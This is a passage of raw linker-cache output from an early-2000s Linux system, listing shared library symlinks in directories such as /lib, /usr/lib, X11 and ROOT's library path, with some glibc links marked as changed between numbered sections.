libSM.so.6.0 libXft.so.1 -> libXft.so.1.0 libPEX5.so.6 -> libPEX5.so.6.0 libXrender.so.1 -> libXrender.so.1.0 libICE.so.6 -> libICE.so.6.3 /usr/lib/qt-2.3.1/lib: libqutil.so.1 -> libqutil.so.1.0.0 libqt.so.2 -> libqt.so.2.3.1 libqt-mt.so.2 -> libqt-mt.so.2.3.1 /usr/lib/mysql: /usr/root/PRO/lib: libGeomPainter.so -> libGeomPainter.so libHbook.so -> libHbook.so libEGPythia.so -> libEGPythia.so libTable.so -> libTable.so libKrb5Auth.so -> libKrb5Auth.so libEGPythia6.so -> libEGPythia6.so libThread.so -> libThread.so libASImage.so -> libASImage.so libRFIO.so -> libRFIO.so libMySQL.so -> libMySQL.so libPgSQL.so -> libPgSQL.so libRGL.so -> libRGL.so libGX11.so -> libGX11.so libGX11TTF.so -> libGX11TTF.so libX3d.so -> libX3d.so libGeom.so -> libGeom.so libMC.so -> libMC.so libHtml.so -> libHtml.so libRint.so -> libRint.so libEG.so -> libEG.so libPostscript.so -> libPostscript.so libPhysics.so -> libPhysics.so libTreePlayer.so -> libTreePlayer.so libTreeViewer.so -> libTreeViewer.so libProof.so -> libProof.so libHistPainter.so -> libHistPainter.so libGui.so -> libGui.so libMinuit.so -> libMinuit.so libGraf3d.so -> libGraf3d.so libGpad.so -> libGpad.so libGraf.so -> libGraf.so libTree.so -> libTree.so libHist.so -> libHist.so libNew.so -> libNew.so libMatrix.so -> libMatrix.so libCore.so -> libCore.so libCint.so -> libCint.so 5 --------------------------------------------------------------------- /lib: libcom_err.so.2 -> libcom_err.so.2.0 libe2p.so.2 -> libe2p.so.2.3 libext2fs.so.2 -> libext2fs.so.2.4 libss.so.2 -> libss.so.2.0 libuuid.so.1 -> libuuid.so.1.2 libpcre.so.0 -> libpcre.so.0.0.1 libpwdb.so.0 -> libpwdb.so.0.61.1 libtermcap.so.2 -> libtermcap.so.2.0.8 libcrypto.so.2 -> libcrypto.so.0.9.6b libssl.so.2 -> libssl.so.0.9.6b libproc.so.2.0.7 -> libproc.so.2.0.7 libpam.so.0 -> libpam.so.0.75 libpam_misc.so.0 -> libpam_misc.so.0.75 libnss_bproc.so.2 -> libnss_bproc.so.2 libpamc.so.0 -> libpamc.so.0.75 libutil.so.1 -> libutil-2.2.4.so libthread_db.so.1 -> libthread_db-1.0.so libSegFault.so -> libSegFault.so librt.so.1 -> librt-2.2.4.so libresolv.so.2 -> libresolv-2.2.4.so libpthread.so.0 -> libpthread-0.9.so libpcprofile.so -> libpcprofile.so libnss_nisplus.so.2 -> libnss_nisplus-2.2.4.so libnss_nis.so.2 -> libnss_nis-2.2.4.so libnss_ldap.so.2 -> libnss_ldap-2.2.5.so libnss_hesiod.so.2 -> libnss_hesiod-2.2.4.so libnss_files.so.2 -> libnss_files-2.2.4.so libnss_dns.so.2 -> libnss_dns-2.2.4.so libnss_compat.so.2 -> libnss_compat-2.2.4.so libnss_nis.so.1 -> libnss1_nis-2.2.4.so libnss_files.so.1 -> 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librpmbuild-4.0.4.so -> librpmbuild-4.0.4.so libssl3.so -> libssl3.so libsoftokn3.so -> libsoftokn3.so libsmime3.so -> libsmime3.so libprldap50.so -> libprldap50.so libldap50.so -> libldap50.so libnss3.so -> libnss3.so libswigtcl.so -> libswigtcl.so libswigpy.so -> libswigpy.so libnjamd.so.0 -> libnjamd.so.0.0.8 libnssckbi.so -> libnssckbi.so libmemintercept.so -> libmemintercept.so libgdkcardimage.so.0 -> libgdkcardimage.so.0.0.0 libmozz.so -> libmozz.so libobjc.so.1 -> libobjc.so.1.0.0 libdb_tcl-3.2.so -> libdb_tcl-3.2.so libbfd-2.11.90.0.8.so -> libbfd-2.11.90.0.8.so libxdelta.so.2 -> libxdelta.so.2.0.0 libedsio.so.0 -> libedsio.so.0.0.0 libostyle.so.0 -> libostyle.so.0.0.0 libospgrove.so.0 -> libospgrove.so.0.0.0 libosp.so.0 -> libosp.so.0.0.0 libogrove.so.0 -> libogrove.so.0.0.0 libmm.so.11 -> libmm.so.11.0.23 libgd.so.1.8 -> libgd.so.1.8.4 libcurl.so.1 -> libcurl.so.1.1.0 librpm-4.0.4.so -> librpm-4.0.4.so libmsgbaseutil.so -> libmsgbaseutil.so libesmtp.so.5 -> libesmtp.so.5.0.5 liblockdev.so.1 -> liblockdev.1.0.0.so libbproc.so.2 -> libbproc.so.2.2.5 libucdmibs.so.0 -> libucdmibs.so.0.4.2 libcapi20.so.2 -> libcapi20.so.2.0.6 libucdagent.so.0 -> libucdagent.so.0.4.2 libpcap.so.0.6.2 -> libpcap.so.0.6.2 libstdc++.so.2.8 -> libstdc++.so.2.8.0 libstdc++.so.2.7.2 -> libstdc++.so.2.7.2.8 libstdc++.so.2.9 -> libstdc++.so.2.9.dummy libg++.so.2.7.2 -> libg++.so.2.7.2.8 libxsltbreakpoint.so.1 -> libxsltbreakpoint.so.1.0.7 libstdc++-libc6.1-1.so.2 -> libstdc++-2-libc6.1-1-2.9.0.so libxmms.so.1 -> libxmms.so.1.1.0 libSDL_mixer-1.2.so.0 -> libSDL_mixer-1.2.so.0.0.0 libsmpeg-0.4.so.0 -> libsmpeg-0.4.so.0.1.3 libSDL_net-1.2.so.0 -> libSDL_net-1.2.so.0.0.2 libSDL_image-1.2.so.0 -> libSDL_image-1.2.so.0.0.0 libSDL-1.2.so.0 -> libSDL-1.2.so.0.0.2 libmikmod.so.2 -> libmikmod.so.2.0.2 libao.so.2 -> libao.so.2.0.1 libcdda_interface.so.0 -> libcdda_interface.so.0.9.8 libcdda_paranoia.so.0 -> libcdda_paranoia.so.0.9.8 libvorbisfile.so.0 -> libvorbisfile.so.0.1.0 libvorbisenc.so.0 -> libvorbisenc.so.0.0.1 libvorbis.so.0 -> libvorbis.so.0.0.1 libogg.so.0 -> libogg.so.0.2.0 libnautilus.so.0 -> libnautilus.so.0.0.0 libnautilus-tree-view.so.0 -> libnautilus-tree-view.so.0.0.0 libnautilus-private.so.0 -> libnautilus-private.so.0.0.0 libpanel_status.so.0 -> libpanel_status.so.0.0.0 libnautilus-adapter.so.0 -> libnautilus-adapter.so.0.0.0 libpanel_applet.so.0 -> libpanel_applet.so.0.0.1 libgen_util_applet.so.0 -> libgen_util_applet.so.0.0.0 libfish_applet.so.0 -> libfish_applet.so.0.0.0 libgtkhtml.so.9 -> libgtkhtml.so.9.1.0 libcapplet.so.0 -> libcapplet.so.0.0.0 libguilereadline.so.0 -> libguilereadline.so.0.0.0 libguile.so.6 -> libguile.so.6.0.0 libfam.so.0 -> libfam.so.0.0.0 libscrollkeeper.so.0 -> libscrollkeeper.so.0.0.0 libldap.so.2 -> libldap.so.2.0.14 libgnomevfs.so.0 -> libgnomevfs.so.0.0.0 libgnomevfs-pthread.so.0 -> libgnomevfs-pthread.so.0.0.0 libgconf-gtk-1.so.1 -> libgconf-gtk-1.so.1.0.0 libgconf-1.so.1 -> libgconf-1.so.1.0.0 libbonobo.so.2 -> libbonobo.so.2.0.0 libbonobo-print.so.2 -> libbonobo-print.so.2.0.0 libbonobox.so.2 -> libbonobox.so.2.0.0 liboaf.so.0 -> liboaf.so.0.0.0 libxpistub.so -> libxpistub.so libxpcom.so -> libxpcom.so libplds4.so -> libplds4.so libplc4.so -> libplc4.so libnspr4.so -> libnspr4.so libmozjs.so -> libmozjs.so libjsj.so -> libjsj.so libgtkxtbin.so -> libgtkxtbin.so libgtksuperwin.so -> libgtksuperwin.so libefs.so.1 -> libefs.so.1.0.0 libgkgfx.so -> libgkgfx.so libgtkembedmoz.so -> libgtkembedmoz.so libunicode.so.0 -> libunicode.so.0.0.0 librsvg.so.1 -> librsvg.so.1.0.0 librep.so.9 -> librep.so.9.1.5 libgnomeole2.so.0 -> libgnomeole2.so.0.0.0 libgtop_sysdeps.so.1 -> libgtop_sysdeps.so.1.0.11 libgtop_suid_common.so.1 -> libgtop_suid_common.so.1.0.11 libgtop_names.so.1 -> libgtop_names.so.1.0.11 libgtop_guile_names.so.1 -> libgtop_guile_names.so.1.0.11 libgtop_guile.so.1 -> libgtop_guile.so.1.0.11 libgtop_common.so.1 -> libgtop_common.so.1.0.11 libgtop.so.1 -> libgtop.so.1.0.11 libgal.so.7 -> libgal.so.7.0.0 libgnomeprint.so.15 -> libgnomeprint.so.15.1.9 libghttp.so.1 -> libghttp.so.1.0.0 libgnomecanvaspixbuf.so.1 -> libgnomecanvaspixbuf.so.1.0.0 libpspell_aspell.so.2 -> libpspell_aspell.so.2.0.1 libaspell.so.10 -> libaspell.so.10.1.1 libpspell.so.4 -> libpspell.so.4.0.3 libpspell-modules.so.1 -> libpspell-modules.so.1.0.1 libpspell-impl.so.6 -> libpspell-impl.so.6.0.0 libltdl.so.3 -> libltdl.so.3.0.0 libtix.so.0 -> libtix.so.0 libtk.so.0 -> libtk.so.0 libtcl.so.0 -> libtcl.so.0 libglade.so.0 -> libglade.so.0.4.2 libglade-gnome.so.0 -> libglade-gnome.so.0.4.2 libzvt.so.2 -> libzvt.so.2.2.10 libgtkxmhtml.so.1 -> libgtkxmhtml.so.1.0.1 libgnorbagtk.so.0 -> libgnorbagtk.so.0.0.0 libgnorba.so.27 -> libgnorba.so.27.1.8 libgnomeui.so.32 -> libgnomeui.so.32.14.1 libgnomesupport.so.0 -> libgnomesupport.so.0.0.0 libgnome.so.32 -> libgnome.so.32.4.3 libart_lgpl.so.2 -> libart_lgpl.so.2.2.0 libORBitutil.so.0 -> libORBitutil.so.0.5.8 libORBitCosNaming.so.0 -> libORBitCosNaming.so.0.5.8 libORBit.so.0 -> libORBit.so.0.5.8 libIIOP.so.0 -> libIIOP.so.0.5.8 libimlib-xpm.so -> libimlib-xpm.so libIDL-0.6.so.0 -> libIDL-0.6.so.0.4.4 libimlib-ps.so -> libimlib-ps.so libimlib-ppm.so -> libimlib-ppm.so libimlib-png.so -> libimlib-png.so libimlib-tiff.so -> libimlib-tiff.so libimlib-gif.so -> libimlib-gif.so libimlib-bmp.so -> libimlib-bmp.so libimlib-jpeg.so -> libimlib-jpeg.so libdns.so.5 -> libdns.so.5.3.0 libppm.so.9 -> libppm.so.9.14 libpnm.so.9 -> libpnm.so.9.6 libpgm.so.9 -> libpgm.so.9.7 libpbm.so.9 -> libpbm.so.9.13 libxml.so.1 -> libxml.so.1.8.14 libuser.so.0 -> libuser.so.0.0.0 libuser_quota.so.0 -> libuser_quota.so.0.0.0 libungif.so.4 -> libungif.so.4.1.0 libungif.so.3 -> libungif.so.3.1.0 libmng.so.1 -> libmng.so.1.0.0 libcap.so.1 -> libcap.so.1.10 libesddsp.so.0 -> libesddsp.so.0.2.22 libesd.so.0 -> libesd.so.0.2.22 libsoundserver_idl.so.0 -> libsoundserver_idl.so.0.0.0 libmcop_mt.so.0 -> libmcop_mt.so.0.0.0 libmcop.so.0 -> libmcop.so.0.0.0 libkmedia2_idl.so.0 -> libkmedia2_idl.so.0.0.0 libkmedia2.so.0 -> libkmedia2.so.0.0.0 libartsflow_idl.so.0 -> libartsflow_idl.so.0.0.0 libartsflow.so.0 -> libartsflow.so.0.0.0 libartsdsp_st.so.0 -> libartsdsp_st.so.0.0.0 libartsdsp.so.0 -> libartsdsp.so.0.0.0 libartswavplayobject.so.0 -> libartswavplayobject.so.0.0.0 libartscbackend.so.0 -> libartscbackend.so.0.0.0 libartsc.so.0 -> libartsc.so.0.0.0 libaudiofile.so.0 -> libaudiofile.so.0.0.1 libglut.so.3 -> libglut.so.3.7.0 libGLU.so.1 -> libGLU.so.1.1.030402 libGL.so.1 -> libGL.so.1.2.030402 libgdk_pixbuf_xlib.so.2 -> libgdk_pixbuf_xlib.so.2.0.0 libgdk_pixbuf.so.2 -> libgdk_pixbuf.so.2.0.0 libtiff.so.3 -> libtiff.so.3.5 libjpeg.so.62 -> libjpeg.so.62.0.0 libgtk-1.2.so.0 -> libgtk-1.2.so.0.9.1 libgdk-1.2.so.0 -> libgdk-1.2.so.0.9.1 libVFlib2.so.24 -> libVFlib2.so.24.0.3 libalchemist.so.0 -> libalchemist.so.0.0.0 libxslt.so.1 -> libxslt.so.1.0.7 libsnmp.so.0 -> libsnmp.so.0.4.2 libxml2.so.2 -> libxml2.so.2.4.10 libexslt.so.0 -> libexslt.so.0.7.0 liblber.so.2 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libpcreposix.so.0 -> libpcreposix.so.0.0.0 libparted-1.4.so.14 -> libparted-1.4.so.14.1.1 libgthread-1.2.so.0 -> libgthread-1.2.so.0.0.10 libgmodule-1.2.so.0 -> libgmodule-1.2.so.0.0.10 libgdbm.so.2 -> libgdbm.so.2.0.0 libdb_cxx-3.2.so -> libdb_cxx-3.2.so libglib-1.2.so.0 -> libglib-1.2.so.0.0.10 libdb.so.2 -> libdb1.so.2 libdb.so.3 -> libdb2.so.3 libcrack.so.2 -> libcrack.so.2.7 libbz2.so.1 -> libbz2.so.1.0.0 /usr/kerberos/lib: libkrbafs.so.1 -> libkrbafs.so.1.0.9 libkrb5.so.3 -> libkrb5.so.3.0 libkrb4.so.2 -> libkrb4.so.2.0 libkdb5.so.3 -> libkdb5.so.3.0 libkadm5srv.so.4 -> libkadm5srv.so.4.0 libkadm5clnt.so.4 -> libkadm5clnt.so.4.0 libk5crypto.so.3 -> libk5crypto.so.3.0 libgssrpc.so.3 -> libgssrpc.so.3.0 libpty.so.1 -> libpty.so.1.1 libdyn.so.1 -> libdyn.so.1.0 libdes425.so.3 -> libdes425.so.3.0 libcom_err.so.3 -> libcom_err.so.3.0 libgssapi_krb5.so.2 -> libgssapi_krb5.so.2.2 /usr/X11R6/lib: libMagick.so.5 -> libMagick.so.5.0.38 libXaw3d.so.7 -> libXaw3d.so.7.0 libXaw3d.so.6 -> libXaw3d.so.6.1 libXbae.so.4 -> libXbae.so.4.0.9 libxrx.so.6 -> libxrx.so.6.3 libpsres.so.1 -> libpsres.so.1.0 libdpstk.so.1 -> libdpstk.so.1.0 libdps.so.1 -> libdps.so.1.0 libXtst.so.6 -> libXtst.so.6.1 libXlt.so.0 -> libXlt.so.0.9.2 libXpm.so.4 -> libXpm.so.4.11 libXmuu.so.1 -> libXmuu.so.1.0 libXmu.so.6 -> libXmu.so.6.2 libXfont.so.1 -> libXfont.so.1.3 libXt.so.6 -> libXt.so.6.0 libXext.so.6 -> libXext.so.6.4 libXaw.so.7 -> libXaw.so.7.0 libXp.so.6 -> libXp.so.6.2 libXaw.so.6 -> libXaw.so.6.1 libXIE.so.6 -> libXIE.so.6.0 libX11.so.6 -> libX11.so.6.2 libXi.so.6 -> libXi.so.6.0 libSM.so.6 -> libSM.so.6.0 libXft.so.1 -> libXft.so.1.0 libPEX5.so.6 -> libPEX5.so.6.0 libXrender.so.1 -> libXrender.so.1.0 libICE.so.6 -> libICE.so.6.3 /usr/lib/qt-2.3.1/lib: libqutil.so.1 -> libqutil.so.1.0.0 libqt.so.2 -> libqt.so.2.3.1 libqt-mt.so.2 -> libqt-mt.so.2.3.1 /usr/lib/mysql: /usr/root/PRO/lib: libGeomPainter.so -> libGeomPainter.so libHbook.so -> libHbook.so libEGPythia.so -> libEGPythia.so libTable.so -> libTable.so libKrb5Auth.so -> libKrb5Auth.so libEGPythia6.so -> libEGPythia6.so libThread.so -> libThread.so libASImage.so -> libASImage.so libRFIO.so -> libRFIO.so libMySQL.so -> libMySQL.so libPgSQL.so -> libPgSQL.so libRGL.so -> libRGL.so libGX11.so -> libGX11.so libGX11TTF.so -> libGX11TTF.so libX3d.so -> libX3d.so libGeom.so -> libGeom.so libMC.so -> libMC.so libHtml.so -> libHtml.so libRint.so -> libRint.so libEG.so -> libEG.so libPostscript.so -> libPostscript.so libPhysics.so -> libPhysics.so libTreePlayer.so -> libTreePlayer.so libTreeViewer.so -> libTreeViewer.so libProof.so -> libProof.so libHistPainter.so -> libHistPainter.so libGui.so -> libGui.so libMinuit.so -> libMinuit.so libGraf3d.so -> libGraf3d.so libGpad.so -> libGpad.so libGraf.so -> libGraf.so libTree.so -> libTree.so libHist.so -> libHist.so libNew.so -> libNew.so libMatrix.so -> libMatrix.so libCore.so -> libCore.so libCint.so -> libCint.so 6 --------------------------------------------------------------------- /lib: libutil.so.1 -> libutil-2.2.4.so (changed) libthread_db.so.1 -> libthread_db-1.0.so (changed) libSegFault.so -> libSegFault.so librt.so.1 -> librt-2.2.4.so (changed) libresolv.so.2 -> libresolv-2.2.4.so (changed) libpthread.so.0 -> libpthread-0.9.so (changed) libpcprofile.so -> libpcprofile.so libnss_nisplus.so.2 -> libnss_nisplus-2.2.4.so (changed) libnss_nis.so.2 -> libnss_nis-2.2.4.so (changed) libnss_ldap.so.2 -> libnss_ldap-2.2.5.so (changed) libnss_hesiod.so.2 -> libnss_hesiod-2.2.4.so (changed) libnss_files.so.2 -> libnss_files-2.2.4.so (changed) libnss_dns.so.2 -> libnss_dns-2.2.4.so (changed) libnss_compat.so.2 -> libnss_compat-2.2.4.so (changed) libnss_nis.so.1 -> libnss1_nis-2.2.4.so (changed) libnss_files.so.1 -> libnss1_files-2.2.4.so (changed) libnss_dns.so.1 -> libnss1_dns-2.2.4.so (changed) libnss_compat.so.1 -> libnss1_compat-2.2.4.so (changed) libnsl.so.1 -> libnsl-2.2.4.so (changed) libNoVersion.so.1 -> libNoVersion-2.2.4.so (changed) libmemusage.so -> libmemusage.so libm.so.6 -> libm-2.2.4.so (changed) libdl.so.2 -> libdl-2.2.4.so (changed) libdb-3.2.so -> libdb-3.2.so libcrypt.so.1 -> libcrypt-2.2.4.so (changed) libc.so.6 -> libc-2.2.4.so (changed) libBrokenLocale.so.1 -> libBrokenLocale-2.2.4.so (changed) libanl.so.1 -> libanl-2.2.4.so (changed) ld-linux.so.2 -> ld-2.2.4.so (changed) /usr/lib: libmysqlclient_r.so.10 -> libmysqlclient_r.so.10.0.0 libmysqlclient.so.10 -> libmysqlclient.so.10.0.0 libopcodes-2.11.90.0.8.so -> libopcodes-2.11.90.0.8.so libpvm3.so.1 -> libpvm3.so.1 libsensors.so.1 -> libsensors.so.1.2.0 libpmpich.so.1 -> libpmpich.so.1.0 libmpich.so.1 -> libmpich.so.1.0 libfmpich.so.1 -> libfmpich.so.1.0 libbeomap.so.0.1 -> libbeomap.so.0.1 libisc.so.4 -> libisc.so.4.1.0 libldap_r.so.2 -> libldap_r.so.2.0.14 librpmio-4.0.4.so -> librpmio-4.0.4.so librpmdb-4.0.4.so -> librpmdb-4.0.4.so librpmbuild-4.0.4.so -> librpmbuild-4.0.4.so libssl3.so -> libssl3.so libsoftokn3.so -> libsoftokn3.so libsmime3.so -> libsmime3.so libprldap50.so -> libprldap50.so libldap50.so -> libldap50.so libnss3.so -> libnss3.so libswigtcl.so -> libswigtcl.so libswigpy.so -> libswigpy.so libnjamd.so.0 -> libnjamd.so.0.0.8 libnssckbi.so -> libnssckbi.so libmemintercept.so -> libmemintercept.so libgdkcardimage.so.0 -> libgdkcardimage.so.0.0.0 libmozz.so -> libmozz.so libobjc.so.1 -> libobjc.so.1.0.0 libdb_tcl-3.2.so -> libdb_tcl-3.2.so libbfd-2.11.90.0.8.so -> libbfd-2.11.90.0.8.so libxdelta.so.2 -> libxdelta.so.2.0.0 libedsio.so.0 -> libedsio.so.0.0.0 libostyle.so.0 -> libostyle.so.0.0.0 libospgrove.so.0 -> libospgrove.so.0.0.0 libosp.so.0 -> libosp.so.0.0.0 libogrove.so.0 -> libogrove.so.0.0.0 libmm.so.11 -> libmm.so.11.0.23 libgd.so.1.8 -> libgd.so.1.8.4 libcurl.so.1 -> libcurl.so.1.1.0 librpm-4.0.4.so -> librpm-4.0.4.so libmsgbaseutil.so -> libmsgbaseutil.so libesmtp.so.5 -> libesmtp.so.5.0.5 liblockdev.so.1 -> liblockdev.1.0.0.so libbproc.so.2 -> libbproc.so.2.2.5 libucdmibs.so.0 -> libucdmibs.so.0.4.2 libcapi20.so.2 -> libcapi20.so.2.0.6 libucdagent.so.0 -> libucdagent.so.0.4.2 libpcap.so.0.6.2 -> libpcap.so.0.6.2 libstdc++.so.2.8 -> libstdc++.so.2.8.0 libstdc++.so.2.7.2 -> libstdc++.so.2.7.2.8 libstdc++.so.2.9 -> libstdc++.so.2.9.dummy libg++.so.2.7.2 -> libg++.so.2.7.2.8 libxsltbreakpoint.so.1 -> libxsltbreakpoint.so.1.0.7 libstdc++-libc6.1-1.so.2 -> libstdc++-2-libc6.1-1-2.9.0.so libxmms.so.1 -> libxmms.so.1.1.0 libSDL_mixer-1.2.so.0 -> libSDL_mixer-1.2.so.0.0.0 libsmpeg-0.4.so.0 -> libsmpeg-0.4.so.0.1.3 libSDL_net-1.2.so.0 -> libSDL_net-1.2.so.0.0.2 libSDL_image-1.2.so.0 -> libSDL_image-1.2.so.0.0.0 libSDL-1.2.so.0 -> libSDL-1.2.so.0.0.2 libmikmod.so.2 -> libmikmod.so.2.0.2 libao.so.2 -> libao.so.2.0.1 libcdda_interface.so.0 -> libcdda_interface.so.0.9.8 libcdda_paranoia.so.0 -> libcdda_paranoia.so.0.9.8 libvorbisfile.so.0 -> libvorbisfile.so.0.1.0 libvorbisenc.so.0 -> libvorbisenc.so.0.0.1 libvorbis.so.0 -> libvorbis.so.0.0.1 libogg.so.0 -> libogg.so.0.2.0 libnautilus.so.0 -> libnautilus.so.0.0.0 libnautilus-tree-view.so.0 -> libnautilus-tree-view.so.0.0.0 libnautilus-private.so.0 -> libnautilus-private.so.0.0.0 libpanel_status.so.0 -> libpanel_status.so.0.0.0 libnautilus-adapter.so.0 -> libnautilus-adapter.so.0.0.0 libpanel_applet.so.0 -> libpanel_applet.so.0.0.1 libgen_util_applet.so.0 -> libgen_util_applet.so.0.0.0 libfish_applet.so.0 -> libfish_applet.so.0.0.0 libgtkhtml.so.9 -> libgtkhtml.so.9.1.0 libcapplet.so.0 -> libcapplet.so.0.0.0 libguilereadline.so.0 -> libguilereadline.so.0.0.0 libguile.so.6 -> libguile.so.6.0.0 libfam.so.0 -> libfam.so.0.0.0 libscrollkeeper.so.0 -> libscrollkeeper.so.0.0.0 libldap.so.2 -> libldap.so.2.0.14 libgnomevfs.so.0 -> libgnomevfs.so.0.0.0 libgnomevfs-pthread.so.0 -> libgnomevfs-pthread.so.0.0.0 libgconf-gtk-1.so.1 -> libgconf-gtk-1.so.1.0.0 libgconf-1.so.1 -> libgconf-1.so.1.0.0 libbonobo.so.2 -> libbonobo.so.2.0.0 libbonobo-print.so.2 -> libbonobo-print.so.2.0.0 libbonobox.so.2 -> libbonobox.so.2.0.0 liboaf.so.0 -> liboaf.so.0.0.0 libxpistub.so -> libxpistub.so libxpcom.so -> libxpcom.so libplds4.so -> libplds4.so libplc4.so -> libplc4.so libnspr4.so -> libnspr4.so libmozjs.so -> libmozjs.so libjsj.so -> libjsj.so libgtkxtbin.so -> libgtkxtbin.so libgtksuperwin.so -> libgtksuperwin.so libefs.so.1 -> libefs.so.1.0.0 libgkgfx.so -> libgkgfx.so libgtkembedmoz.so -> libgtkembedmoz.so libunicode.so.0 -> libunicode.so.0.0.0 librsvg.so.1 -> librsvg.so.1.0.0 librep.so.9 -> librep.so.9.1.5 libgnomeole2.so.0 -> libgnomeole2.so.0.0.0 libgtop_sysdeps.so.1 -> libgtop_sysdeps.so.1.0.11 libgtop_suid_common.so.1 -> libgtop_suid_common.so.1.0.11 libgtop_names.so.1 -> libgtop_names.so.1.0.11 libgtop_guile_names.so.1 -> libgtop_guile_names.so.1.0.11 libgtop_guile.so.1 -> libgtop_guile.so.1.0.11 libgtop_common.so.1 -> libgtop_common.so.1.0.11 libgtop.so.1 -> libgtop.so.1.0.11 libgal.so.7 -> libgal.so.7.0.0 libgnomeprint.so.15 -> libgnomeprint.so.15.1.9 libghttp.so.1 -> libghttp.so.1.0.0 libgnomecanvaspixbuf.so.1 -> libgnomecanvaspixbuf.so.1.0.0 libpspell_aspell.so.2 -> libpspell_aspell.so.2.0.1 libaspell.so.10 -> libaspell.so.10.1.1 libpspell.so.4 -> libpspell.so.4.0.3 libpspell-modules.so.1 -> libpspell-modules.so.1.0.1 libpspell-impl.so.6 -> libpspell-impl.so.6.0.0 libltdl.so.3 -> libltdl.so.3.0.0 libtix.so.0 -> libtix.so.0 libtk.so.0 -> libtk.so.0 libtcl.so.0 -> libtcl.so.0 libglade.so.0 -> libglade.so.0.4.2 libglade-gnome.so.0 -> libglade-gnome.so.0.4.2 libzvt.so.2 -> libzvt.so.2.2.10 libgtkxmhtml.so.1 -> libgtkxmhtml.so.1.0.1 libgnorbagtk.so.0 -> libgnorbagtk.so.0.0.0 libgnorba.so.27 -> libgnorba.so.27.1.8 libgnomeui.so.32 -> libgnomeui.so.32.14.1 libgnomesupport.so.0 -> libgnomesupport.so.0.0.0 libgnome.so.32 -> libgnome.so.32.4.3 libart_lgpl.so.2 -> libart_lgpl.so.2.2.0 libORBitutil.so.0 -> libORBitutil.so.0.5.8 libORBitCosNaming.so.0 -> libORBitCosNaming.so.0.5.8 libORBit.so.0 -> libORBit.so.0.5.8 libIIOP.so.0 -> libIIOP.so.0.5.8 libimlib-xpm.so -> libimlib-xpm.so libIDL-0.6.so.0 -> libIDL-0.6.so.0.4.4 libimlib-ps.so -> libimlib-ps.so libimlib-ppm.so -> libimlib-ppm.so libimlib-png.so -> libimlib-png.so libimlib-tiff.so -> libimlib-tiff.so libimlib-gif.so -> libimlib-gif.so libimlib-bmp.so -> libimlib-bmp.so libimlib-jpeg.so -> libimlib-jpeg.so libdns.so.5 -> libdns.so.5.3.0 libppm.so.9 -> libppm.so.9.14 libpnm.so.9 -> libpnm.so.9.6 libpgm.so.9 -> libpgm.so.9.7 libpbm.so.9 -> libpbm.so.9.13 libxml.so.1 -> libxml.so.1.8.14 libuser.so.0 -> libuser.so.0.0.0 libuser_quota.so.0 -> libuser_quota.so.0.0.0 libungif.so.4 -> libungif.so.4.1.0 libungif.so.3 -> libungif.so.3.1.0 libmng.so.1 -> libmng.so.1.0.0 libcap.so.1 -> libcap.so.1.10 libesddsp.so.0 -> libesddsp.so.0.2.22 libesd.so.0 -> libesd.so.0.2.22 libsoundserver_idl.so.0 -> libsoundserver_idl.so.0.0.0 libmcop_mt.so.0 -> libmcop_mt.so.0.0.0 libmcop.so.0 -> libmcop.so.0.0.0 libkmedia2_idl.so.0 -> libkmedia2_idl.so.0.0.0 libkmedia2.so.0 -> libkmedia2.so.0.0.0 libartsflow_idl.so.0 -> libartsflow_idl.so.0.0.0 libartsflow.so.0 -> libartsflow.so.0.0.0 libartsdsp_st.so.0 -> libartsdsp_st.so.0.0.0 libartsdsp.so.0 -> libartsdsp.so.0.0.0 libartswavplayobject.so.0 -> libartswavplayobject.so.0.0.0 libartscbackend.so.0 -> libartscbackend.so.0.0.0 libartsc.so.0 -> libartsc.so.0.0.0 libaudiofile.so.0 -> libaudiofile.so.0.0.1 libglut.so.3 -> libglut.so.3.7.0 libGLU.so.1 -> libGLU.so.1.1.030402 libGL.so.1 -> libGL.so.1.2.030402 libgdk_pixbuf_xlib.so.2 -> libgdk_pixbuf_xlib.so.2.0.0 libgdk_pixbuf.so.2 -> libgdk_pixbuf.so.2.0.0 libtiff.so.3 -> libtiff.so.3.5 libjpeg.so.62 -> libjpeg.so.62.0.0 libgtk-1.2.so.0 -> libgtk-1.2.so.0.9.1 libgdk-1.2.so.0 -> libgdk-1.2.so.0.9.1 libVFlib2.so.24 -> libVFlib2.so.24.0.3 libalchemist.so.0 -> libalchemist.so.0.0.0 libxslt.so.1 -> libxslt.so.1.0.7 libsnmp.so.0 -> libsnmp.so.0.4.2 libxml2.so.2 -> libxml2.so.2.4.10 libexslt.so.0 -> libexslt.so.0.7.0 liblber.so.2 -> liblber.so.2.0.14 libmp.so.3 -> libmp.so.3.1.1 libgmp.so.3 -> libgmp.so.3.1.1 libttf.so.2 -> libttf.so.2.3.0 libfreetype.so.6 -> libfreetype.so.6.0.1 libexpat.so.0 -> libexpat.so.0.0.1 libImlib.so.1 -> libImlib.so.1.9.13 libpng.so.2 -> libpng.so.2.1.0.14 libeel.so.0 -> libeel.so.0.0.2 libz.so.1 -> libz.so.1.1.3 libgpm.so.1 -> libgpm.so.1.18.0 libsasl.so.7 -> libsasl.so.7.1.8 libgdk_imlib.so.1 -> libgdk_imlib.so.1.9.13 libutempter.so.0 -> libutempter.so.0.5.2 libctutils.so.0 -> libctutils.so.0.0.0 libconsole.so.0 -> libconsole.so.0.0.0 libctgeneric.so.0 -> libctgeneric.so.0.0.0 libreadline.so.4 -> libreadline.so.4.2 libhistory.so.4 -> libhistory.so.4.2 libpanel.so.5 -> libpanel.so.5.2 libncurses.so.5 -> libncurses.so.5.2 libmenu.so.5 -> libmenu.so.5.2 libform.so.5 -> libform.so.5.2 libstdc++-libc6.2-2.so.3 -> libstdc++-3-libc6.2-2-2.10.0.so libcfont.so.0 -> libcfont.so.0.0.0 libslang.so.1 -> libslang.so.1.4.4 libnewt.so.0.50 -> libnewt.so.0.50.33 libpopt.so.0 -> libpopt.so.0.0.0 libpcreposix.so.0 -> libpcreposix.so.0.0.0 libparted-1.4.so.14 -> libparted-1.4.so.14.1.1 libgthread-1.2.so.0 -> libgthread-1.2.so.0.0.10 libgmodule-1.2.so.0 -> libgmodule-1.2.so.0.0.10 libgdbm.so.2 -> libgdbm.so.2.0.0 libdb_cxx-3.2.so -> libdb_cxx-3.2.so libglib-1.2.so.0 -> libglib-1.2.so.0.0.10 libdb.so.2 -> libdb1.so.2 libdb.so.3 -> libdb2.so.3 libcrack.so.2 -> libcrack.so.2.7 libbz2.so.1 -> libbz2.so.1.0.0 /usr/kerberos/lib: libkrbafs.so.1 -> libkrbafs.so.1.0.9 libkrb5.so.3 -> libkrb5.so.3.0 libkrb4.so.2 -> libkrb4.so.2.0 libkdb5.so.3 -> libkdb5.so.3.0 